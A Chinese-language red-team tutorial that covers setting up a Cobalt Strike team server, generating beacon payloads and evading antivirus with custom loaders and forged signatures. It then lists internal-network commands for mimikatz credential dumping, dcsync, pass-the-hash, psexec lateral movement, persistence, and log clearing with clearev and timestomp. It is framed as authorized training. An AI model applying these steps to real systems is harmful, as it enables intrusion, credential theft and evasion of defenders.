1. 项目概述与核心价值
最近几年,无论是企业安全建设还是个人技能提升,红队演练和渗透测试都成了一个绕不开的话题。而在这个领域,Cobalt Strike(简称CS)几乎是所有从业者都会接触到的“瑞士军刀”。它集成了后渗透、团队协作、载荷投递等众多功能,功能强大但门槛也不低。很多新手朋友拿到手后,面对一堆配置文件、证书、监听器设置,常常一头雾水,要么环境起不来,要么刚上线就被杀软秒杀,要么在内网里寸步难行。
这篇文章,我就以一个过来人的身份,和大家聊聊如何从零开始,搭建一个稳定、隐蔽、可实战的Cobalt Strike红队环境,并深入到内网渗透的环节。我会把那些官方文档里没写的、社区里讨论不多的“坑”和“技巧”都摊开来讲,比如如何选择合适的团队服务器(Team Server)配置、如何生成免杀性更好的载荷、在内网横向移动时如何选择合适的工具和手法来规避检测。我们的目标不是简单地复现几个命令,而是理解每一步操作背后的逻辑,打造一个真正能用于学习和模拟实战的环境。无论你是刚入行的安全新人,还是想系统梳理CS使用经验的老手,这篇从环境搭建到内网实战,再到避坑排雷的指南,应该都能给你带来一些实实在在的帮助。
2. 红队环境整体设计与核心思路
搭建一个红队环境,远不止是运行一个服务端和客户端那么简单。它更像是在构建一个隐秘的“作战指挥部”,需要综合考虑隐蔽性、稳定性、协作性和后续的扩展性。一个设计良好的环境,能让你在后续的渗透行动中事半功倍,反之则可能处处掣肘,甚至暴露自身。
2.1 环境架构选型与考量
首先,我们需要决定在哪里部署我们的Cobalt Strike Team Server。常见的选择有VPS(虚拟专用服务器)、云服务器、甚至本地虚拟机。每种选择都有其利弊。
VPS/云服务器:这是最主流的选择,优点是公网可达,方便团队成员从任何地方连接;性能通常有保障;IP地址相对干净。但缺点也很明显:流量直接暴露在公网,如果配置不当或行为异常,容易被云服务商或安全设备标记;需要一定的成本。在选择时,我强烈建议优先考虑那些对流量审查相对宽松的海外服务商,并且尽量选择支持按小时计费的机型,方便随时销毁重建,这也是红队操作中“基础设施快速迭代”思想的体现。
本地虚拟机/物理服务器:完全可控,流量不出内网,绝对隐蔽。但缺点是无法进行远程团队协作,且如果你的目标在内网,你需要先通过其他方式(如钓鱼、水坑)将载荷投递进去,才能让被控主机回连到你的本地服务器,链路设计上更复杂。这种架构更适合模拟APT攻击中“跳板机”的角色,或者用于封闭环境的内部演练。
我的建议是,对于学习和大多数模拟演练,从一台海外的VPS开始是最佳实践。它平衡了易用性、可控性和实战性。在选购时,除了看价格和带宽,更要关注服务商是否提供纯净的IP(未被大量滥用)、是否允许自定义防火墙规则(方便我们只开放必要的端口)。
2.2 核心组件与协作流程解析
一个完整的Cobalt Strike红队环境,核心是Team Server、**客户端(Client)和被控主机(Beacon)**三者之间的协作。
- Team Server:这是大脑和指挥中心。它运行在Linux服务器上(通常是Debian/Ubuntu),负责管理所有会话(Beacon)、存储团队数据、协调攻击任务。它通过一个特定的端口(默认50050)与客户端通信。
- 客户端(Cobalt Strike GUI):这是操作员的控制台。我们通过Java GUI客户端连接到Team Server,来查看和管理被控主机、下发指令、生成载荷等。一个Team Server可以同时被多个客户端连接,实现团队协作。
- 被控主机(Beacon):这是植入到目标系统中的木马或后门。它负责执行命令、收集信息,并通过各种协议(HTTP、HTTPS、DNS、SMB等)与Team Server通信,接收任务并回传结果。
整个流程可以概括为:在VPS上启动Team Server -> 操作员用客户端连接 -> 通过客户端生成一个针对目标系统的载荷(Payload) -> 通过某种方式(如钓鱼邮件、漏洞利用)将载荷投递到目标并执行 -> 目标主机上的Beacon回连到Team Server -> 操作员在客户端看到新上线的会话,开始进行渗透操作。
这里的一个关键设计点是通信协议与监听器(Listener)。监听器定义了Beacon如何与Team Server通信。默认的HTTP/HTTPS监听器虽然简单,但特征明显,极易被网络层设备检测。在实际搭建时,我们往往需要配置更隐蔽的监听器,如使用Malleable C2 Profile来定制通信的流量特征,使其模仿成正常的云服务(如Google、Azure)流量,或者使用DNS、SMB等协议在受限网络环境中进行通信。
3. 从零搭建Cobalt Strike Team Server
理论说得再多,不如动手做一遍。下面我们就以一台全新的Ubuntu 20.04 LTS VPS为例,详细走一遍Team Server的搭建和加固流程。我会把每一步的命令和背后的意图都解释清楚。
3.1 基础系统准备与依赖安装
首先,通过SSH连接到你的VPS。第一件事永远是更新系统并安装必要的依赖。
# 更新软件包列表并升级现有软件 sudo apt update && sudo apt upgrade -y # 安装Cobalt Strike运行所需的Java环境(推荐OpenJDK 11) sudo apt install openjdk-11-jdk -y # 验证Java安装是否成功 java -version # 应该看到类似 openjdk version "11.0.xx" 的输出 # 安装一些常用的工具,方便后续排查和操作 sudo apt install curl wget net-tools screen -y注意:Cobalt Strike 4.x版本需要Java 11或更高版本。使用老版本的Java(如Java 8)可能会导致启动失败或功能异常。
screen工具非常重要,它允许我们在断开SSH连接后,让Team Server进程继续在后台运行。
3.2 部署Cobalt Strike与启动服务器
假设你已经获得了Cobalt Strike的合法授权和安装包(通常是一个cobaltstrike.zip文件)。通过SCP或SFTP工具将其上传到VPS的某个目录,例如/opt。
# 切换到/opt目录 cd /opt # 解压Cobalt Strike(请将cobaltstrike.zip替换为你的实际文件名) unzip cobaltstrike.zip -d cobaltstrike # 进入解压后的目录 cd cobaltstrike接下来是启动Team Server。启动命令的格式是:./teamserver <服务器IP> <连接密码> [配置文件]。
<服务器IP>:填写你VPS的公网IP地址。切勿使用127.0.0.1或0.0.0.0,除非你只在本地测试。使用0.0.0.0在某些配置下可能导致监听异常。<连接密码>:这是客户端连接Team Server时所需的密码。请设置一个高强度、复杂的密码。[配置文件]:可选参数,用于指定一个Malleable C2 Profile文件,以定制通信行为。我们稍后再讨论这个。
一个基础的启动命令如下:
# 示例:假设服务器IP是192.0.2.100,密码是MySuperSecretPass123! ./teamserver 192.0.2.100 MySuperSecretPass123!如果一切正常,你会看到大量日志输出,最后出现[+] Team server is up on 50050之类的提示,表示服务器已在50050端口启动。
然而,直接这样运行有一个大问题:一旦你关闭SSH终端,这个进程就会终止。因此,我们必须使用screen或systemd来守护进程。
使用Screen守护进程:
# 创建一个新的screen会话,命名为`cs` screen -S cs # 在新会话中,切换到Cobalt Strike目录并启动teamserver cd /opt/cobaltstrike ./teamserver 192.0.2.100 MySuperSecretPass123! # 启动后,按下 `Ctrl+A`,然后按 `D`,即可将会话分离(detach),让它在后台运行。 # 以后想重新查看这个会话,使用 `screen -r cs` 即可。3.3 关键配置与安全加固
一个“裸奔”的Team Server是非常危险的。下面进行几项关键加固。
1. 防火墙配置:只开放必要的端口。Team Server默认使用50050(客户端连接)和你的监听器端口(如80、443、53等)。
# 假设使用UFW防火墙 sudo ufw enable # 启用防火墙 sudo ufw default deny incoming # 默认拒绝所有入站 sudo ufw default allow outgoing # 默认允许所有出站 # 开放SSH端口(假设是22) sudo ufw allow 22/tcp # 开放Cobalt Strike客户端连接端口 sudo ufw allow 50050/tcp # 开放你的HTTP/HTTPS监听器端口(例如80和443) sudo ufw allow 80/tcp sudo ufw allow 443/tcp # 查看规则 sudo ufw status numbered2. 修改默认端口(可选但推荐):50050端口是CS的默认端口,特征明显。我们可以修改启动脚本,让它在另一个端口运行。编辑teamserver文件(注意备份):
# 查找大约第250行左右的这行代码 java ... -Dcobaltstrike.server_port=50050 ... # 将50050修改为你想要的端口,例如55555 java ... -Dcobaltstrike.server_port=55555 ...修改后,重启Team Server,并在防火墙中开放新的端口(如sudo ufw allow 55555/tcp)。
3. 使用Malleable C2 Profile:这是提升隐蔽性的核心。Profile文件可以定义Beacon的HTTP请求/响应头、URI结构、数据编码方式等,使其流量看起来像正常的网站流量。Cobalt Strike自带了一些模板,位于/opt/cobaltstrike/profiles目录。
例如,使用jquery-c2.4.0.profile来模仿jQuery Ajax请求:
./teamserver 192.0.2.100 MySuperSecretPass123! /opt/cobaltstrike/profiles/jquery-c2.4.0.profile你也可以从社区获取或自己编写更贴合目标的Profile。使用Profile后,一定要用Wireshark等工具抓包分析,确保流量特征符合预期,没有明显的异常。
4. 客户端连接、载荷生成与免杀初探
服务器搭好了,现在轮到操作员上场了。你需要在你的攻击机(通常是Windows或macOS,需要Java环境)上运行Cobalt Strike客户端。
4.1 客户端连接与界面熟悉
在你的攻击机上,运行cobaltstrike.jar(通常位于安装包内)。
java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar会弹出连接对话框。输入你的Team Server IP、端口(修改过的就用新端口)、用户名(可以任意)和密码(启动服务器时设置的)。连接成功后,你会看到主界面。
主界面主要分为几个视图:Targets(目标)、Web Drive-by(网络攻击)、Reporting(报告)、VPN(虚拟网络)等。我们最常使用的是View菜单下的Beacons,这里列出了所有上线的被控主机。
4.2 创建监听器与生成载荷
在让目标上线之前,必须先创建一个监听器(Listener)。监听器是Beacon回连的“接应点”。
创建监听器:点击
Cobalt Strike->Listeners。点击Add。Payload:选择windows/beacon_http/reverse_http(这是最常用的HTTP反向连接)。Name:给监听器起个名字,如http-80。HTTP Hosts:填写你的Team Server公网IP或域名。HTTP Port (C2):填写80(确保服务器防火墙已开放)。HTTP Host (Stager):通常和HTTP Hosts一致。HTTP Port (Stager):通常和HTTP Port一致。- 点击
Save。你可以在Attacks->Packages->Windows Executable (S)中生成载荷了。
生成载荷(Payload):这是要投递给目标的程序文件。
- 点击
Attacks->Packages->Windows Executable (S)。这是生成一个Stageless的EXE载荷,所有代码都包含在一个文件里,体积较大但更稳定。 - 在
Listener下拉框中选择你刚创建的http-80。 - 勾选
x64(如果目标系统是64位)。 - 点击
Generate,保存生成的.exe文件。
- 点击
重要避坑点:刚生成的这个原生EXE,几乎100%会被现代杀毒软件(如Windows Defender)静态查杀。直接使用等于“自杀”。
4.3 基础免杀处理思路
免杀是一个深水区,这里介绍几种基础的、用于学习和测试的思路。在真实环境中,这些方法可能很快失效,需要持续研究和变种。
使用Shellcode加载器:这是最主流的方法。原理是Cobalt Strike生成一段纯Shellcode(原始机器码),然后我们用一个自己编写的、行为正常的程序(称为加载器Loader)来在内存中加载并执行这段Shellcode。杀软对已知的Loader查杀较严,但对自定义的、代码经过混淆的Loader识别能力有限。
- 操作:在生成载荷时,选择
Attacks->Packages->Payload Generator。生成一段C语言格式的Shellcode。 - 编写Loader:你可以用C/C++、C#、Go、Python等语言编写一个程序,其核心功能是:申请一块具有执行权限的内存 -> 将Shellcode复制进去 -> 跳转到这块内存执行。网上有很多开源Loader模板,但需要自己修改特征(如函数名、字符串加密、API调用方式)。
- 操作:在生成载荷时,选择
使用Cobalt Strike的
Artifact Kit和Resource Kit(高级功能):这是官方提供的免杀套件,可以自定义生成载荷的PE头、节区名称、混淆代码等。需要一定的PE文件结构和编程知识来定制。分离加载与延迟执行:将Loader和Shellcode分离。Loader先从远程服务器下载加密的Shellcode,或者从图片、文本等看似无害的文件中解密出Shellcode,然后再加载。这增加了静态分析的难度。
我的实操心得:对于新手,我建议从理解Shellcode加载原理开始,尝试用MSFVenom生成Shellcode并用简单的C Loader加载,理解整个过程。然后再应用到Cobalt Strike上。不要盲目追求“一键免杀”工具,那些工具的特征很快会被收录。真正的免杀能力建立在对杀软原理和操作系统机制的深刻理解上。
5. 内网渗透实战核心环节与手法
假设我们的载荷已经成功在目标边界的一台Windows主机上执行,并且Beacon已经回连上线。现在我们获得了第一个立足点,接下来就是向内网纵深渗透。
5.1 信息收集与权限提升
上线后第一件事不是横冲直撞,而是摸清环境。
基础信息收集:在Beacon会话上右键,选择
Interact,打开命令行交互界面。输入一些基础命令:shell whoami /all:查看当前用户权限、所属组、SID等。关注是否是高权限账户(如Administrator, SYSTEM)。shell systeminfo:查看系统详细信息,包括OS版本、补丁情况。补丁列表对于寻找本地提权漏洞至关重要。shell ipconfig /all和shell route print:查看网络配置、网卡、IP地址、网关、路由表。确定主机所在网段。net view和net localgroup:查看域信息(如果有)、同一网段的主机、本地用户和组。
权限提升(提权):如果当前是普通用户权限,我们需要提升到SYSTEM或Administrator。
- 利用已知漏洞:使用
getsystem命令(CS内置),它尝试几种经典的提权技术(如令牌窃取、命名管道模拟),在配置不当的系统上可能直接成功。 - 本地漏洞利用:根据
systeminfo输出的补丁信息,查找缺失的补丁对应的漏洞。例如,著名的PrintNightmare、CVE-2021-1675等。我们可以将对应的EXP编译成可执行文件,通过Beacon的upload功能上传,然后shell执行。CS也内置了elevate模块,提供了一些常见的提权EXP(如ms14-058),可以尝试。 - 服务/计划任务滥用:检查是否有配置错误的服务(二进制路径可写、弱权限),或者可以创建计划任务。通过
powerpick或psinject注入PowerShell命令来检查往往更隐蔽。
- 利用已知漏洞:使用
5.2 横向移动与凭证窃取
获得高权限后,就可以开始横向移动,探索内网其他主机。
凭证获取:内网横向的“通行证”就是各种凭证。
- 抓取明文密码:使用
mimikatz工具。在Beacon中,可以输入mimikatz命令直接调用集成的版本。常用命令如sekurlsa::logonpasswords尝试从LSASS进程内存中提取明文密码、哈希和票据。注意:现代系统(Win10 1607+, Win2012R2+)默认启用Credential Guard,会阻止对LSASS的读取,此时明文抓取可能失败。 - 获取哈希:如果抓不到明文,获取NTLM Hash也是极好的。同样使用mimikatz的
sekurlsa::ekeys或直接使用CS的hashdump命令(需要SYSTEM权限)来导出本地SAM数据库中的哈希。对于域环境,可以使用dcsync攻击(需要域管或等价权限)来直接拉取域内所有用户的哈希。 - 票据(Ticket)攻击:在Kerberos认证的域环境中,票据就是凭证。
golden ticket(黄金票据)和silver ticket(白银票据)是经典的持久化与横向移动手段。这需要先获取到域控的KRBTGT账户哈希(用于制作黄金票据)或某个服务账户的哈希(用于制作白银票据)。
- 抓取明文密码:使用
横向移动方法:
- Pass The Hash (PTH):当我们获得了某个用户的NTLM Hash,但不知道明文密码时,可以使用哈希直接进行认证。CS内置了
pth命令。例如:pth administrator 哈希值,然后使用net use \\目标IP\C$或wmic等命令尝试访问。 - Pass The Ticket (PTT):将窃取或伪造的Kerberos票据注入到当前会话,然后访问相关资源。CS支持
kerberos_ticket_use来注入票据。 - WMI与PsExec:CS的
jump模块提供了psexec,psexec_psh,winrm等多种横向移动方式。它们本质上都是在目标主机上创建服务或计划任务来执行我们的Payload。使用时需要提供目标IP、用户名和密码(或哈希)。 - SMB Beacon:这是一种非常隐蔽的横向移动和通信方式。首先在内网一台主机上部署一个SMB监听器。然后,当已控主机(A)通过
jump psexec等方式横向到新主机(B)时,可以指定B回连到A的SMB Beacon。这样,B的流量先到A,再由A中转到Team Server,实现了“跳板”通信,适用于那些不能直接出网的主机。
- Pass The Hash (PTH):当我们获得了某个用户的NTLM Hash,但不知道明文密码时,可以使用哈希直接进行认证。CS内置了
5.3 持久化与痕迹清理
在取得一定战果后,需要考虑如何维持访问,并在必要时清理痕迹。
持久化(Persistence):确保在目标重启或我们断开连接后,还能重新获得控制。
- 计划任务:通过
schtasks创建定时启动的任务。 - 服务:注册一个新的系统服务。
- 启动项:将Payload放到用户或系统的启动文件夹。
- WMI事件订阅:一种高级的、隐蔽的持久化方式,当特定系统事件(如用户登录)触发时执行Payload。
- CS内置模块:在Beacon的
Explore->Persistence中,提供了多种一键化的持久化选项,生成对应的脚本或可执行文件。切记,这些生成的程序同样需要做免杀处理。
- 计划任务:通过
痕迹清理:红队演练的最后,通常需要清理日志,避免被蓝队溯源。
- 清除事件日志:
clearev命令可以快速清除Windows事件日志(Security, System, Application)。但全清是一个非常明显的告警信号。更隐蔽的做法是只删除与自身操作相关的特定日志条目,但这需要更精细的操作,通常借助PowerShell或自定义工具。 - 清理文件痕迹:删除上传的工具、生成的输出文件等。使用
timestomp命令可以修改文件的时间戳,将其伪装成系统文件的时间。 - 注意:在真实的渗透测试中,是否清理痕迹、清理到什么程度,必须严格遵守项目授权范围和要求。在演练中,则根据蓝队规则而定。
- 清除事件日志:
6. 常见问题、排查技巧与高级避坑指南
在实际操作中,你会遇到各种各样的问题。下面我整理了一些典型场景和解决思路,这可能是比教程本身更有价值的部分。
6.1 环境搭建与连接问题
问题1:Team Server启动失败,提示“Address already in use”或端口绑定错误。
- 排查:说明50050端口或其他指定端口已被占用。使用
sudo netstat -tlnp | grep :50050查看占用进程。 - 解决:杀死占用进程,或修改Team Server启动端口(见3.3节)。
问题2:客户端无法连接到Team Server,一直提示连接超时或拒绝。
- 排查:
- 防火墙:检查VPS的防火墙(UFW/iptables)和云服务商的安全组规则,是否放行了50050端口。
- IP地址:确认启动Team Server时使用的IP是公网IP,且客户端能访问到这个IP。
- 服务器状态:登录VPS,用
ps aux | grep teamserver确认进程还在运行。用sudo netstat -tlnp | grep java确认Java进程在监听50050端口。 - 网络路由:有些特殊的VPS网络配置可能导致回环问题。尝试在VPS本地用
telnet 127.0.0.1 50050测试,如果通,说明服务正常,是外部网络问题。
问题3:生成的Payload执行后,Beacon没有上线。
- 排查:
- 监听器配置:检查监听器的IP和端口是否正确,是否与Team Server防火墙开放端口一致。
- 网络连通性:在目标机器上,尝试用
telnet <TeamServer IP> <端口>或Test-NetConnection(PowerShell) 测试是否能连接到你的监听端口。 - 杀软拦截:Payload可能被运行时检测(动态查杀)杀掉了。查看目标系统的事件查看器或杀软日志。这是最常见的原因。
- Payload类型:确认Payload与目标系统架构匹配(x86 vs x64)。Stager(分阶段)Payload在受限环境下可能因为下载第二阶段失败而上线失败,可以尝试Stageless Payload。
6.2 内网渗透与操作问题
问题4:mimikatz命令执行后报错,提示“ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)”
- 原因:这通常是因为权限不足或Credential Guard等保护机制启用。
- 解决:
- 确保Beacon是SYSTEM权限(可用
getsystem或elevate提权)。 - 如果已提权仍报错,可能是受Credential Guard保护。可以尝试使用
mimikatz的minidump功能先转储LSASS进程内存,然后下载到本地分析:mimikatz sekurlsa::minidump lsass.dmp,再sekurlsa::logonpasswords。 - 尝试其他凭证获取工具,如
SafetyKatz、SharpKatz或Rubeus。
- 确保Beacon是SYSTEM权限(可用
问题5:横向移动(如psexec)失败,提示“登录失败:未知的用户名或密码错误”。
- 排查:
- 凭证问题:确认使用的用户名、密码或哈希是正确的,并且该用户在目标机器上有权限(通常是管理员组)。
- 目标服务:确认目标机器的
Admin$共享是开启的(默认开启),且防火墙没有阻止445(SMB)和135(WMI)等端口。 - 账户策略:目标机器可能设置了“拒绝从网络访问此计算机”策略,将你使用的账户或所在组加入了黑名单。
- UAC远程限制:从Windows Vista开始,默认情况下,远程网络登录的管理员账户会以“过滤令牌”运行,权限受限。可以尝试使用
runas或计划任务来绕过,或者使用psexec_psh(基于PowerShell Remoting)等其他横向方式。
问题6:SMB Beacon中继不上线,或上线不稳定。
- 排查:
- 管道名称:确保中继时使用的管道名称(默认为
msagent_##)与SMB监听器中配置的一致。 - 防火墙:确保主机之间的445端口(SMB)是通的。
- 权限:充当“中继站”的Beacon会话需要具有足够的权限在目标主机上创建命名管道和服务。
- 杀软:SMB Beacon的流量特征也可能被高级EDR检测。尝试修改Malleable C2 Profile中SMB相关的配置。
- 管道名称:确保中继时使用的管道名称(默认为
6.3 隐蔽性与对抗进阶思考
避坑指南1:关于流量伪装不要满足于使用默认的HTTP/HTTPS监听器。务必使用Malleable C2 Profile。一个好的Profile应该:
- 模仿真实的、目标环境常见的User-Agent。
- 使用看似正常的URI路径,如
/api/v1/collect、/js/jquery.min.js,避免/submit.php、/gate.php这种可疑路径。 - 设置合理的HTTP响应头,如
Server: nginx/1.18.0,Content-Type: application/json。 - 对传输的数据进行编码(如base64、netbios)和加密(AES),避免明文传输。
- 实战前,一定要将配置好的Profile流量,与真实模仿的网站流量进行对比分析,确保没有低级破绽。
避坑指南2:关于载荷免杀
- 分离:Loader和Shellcode分离是基本原则。
- 混淆:对Loader代码进行混淆(Obfuscation),包括变量名、函数名、字符串加密、控制流扁平化等。
- API调用:避免直接调用
VirtualAlloc、CreateThread这类敏感API,可以使用动态解析(GetProcAddress)或系统调用(Syscall)的方式,增加分析难度。 - 签名与图标:为生成的EXE添加伪造的数字签名和图标,使其看起来更像一个合法软件。
- 持续迭代:没有一劳永逸的免杀。一个载荷使用一段时间后(可能就几天),就需要更新Loader或Shellcode的生成方式。
避坑指南3:关于操作习惯
- 避免自动化扫描:在内网中,不要使用
net view /domain后紧接着就对所有主机进行暴力扫描。这种模式化的行为很容易触发安全设备的异常行为告警。应该手动、低速、有针对性地进行探测。 - 时间模拟:在非工作时间(如下班后、凌晨)进行大量内网探测和横向移动,本身就是一个异常信号。尽量使你的操作时间模拟正常用户或管理员的习惯。
- 工具残留:上传到目标机器的工具(如mimikatz.exe、各种扫描器),在使用后应及时删除。并且,不要使用这些工具的默认文件名和默认参数,它们都在各大安全厂商的特征库里。
搭建和运用Cobalt Strike是一个系统工程,涉及网络、系统、编程、安全等多方面知识。这篇文章从环境搭建的每一个步骤,讲到内网渗透的核心手法,再深入到避坑和对抗,希望能为你提供一个清晰的路径图。真正的熟练来自于不断的练习、测试和总结。我个人的体会是,搭建一个“能用”的环境很快,但打造一个“好用且隐蔽”的环境,需要你在每一个细节上反复琢磨和验证。最后,务必在合法授权的环境下进行所有测试,将你的技能用于提升网络安全防御能力,这才是红队技术的真正价值所在。